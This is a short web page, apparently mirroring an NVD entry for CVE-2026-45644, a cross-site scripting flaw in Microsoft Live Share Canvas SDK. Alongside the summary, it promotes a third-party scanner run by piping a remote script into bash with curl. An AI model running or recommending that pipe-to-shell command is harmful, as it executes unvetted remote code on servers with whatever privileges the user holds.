NVD · CVE-2026-45644

CVE-2026-45644

Published: Tue, 09 Jun 2026 17:17

CVE-2026-45644

Summary

Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Live Share Canvas SDK allows an authorized attacker to elevate privileges over a network.

Are YOU affected by CVE-2026-45644?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-45644 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644

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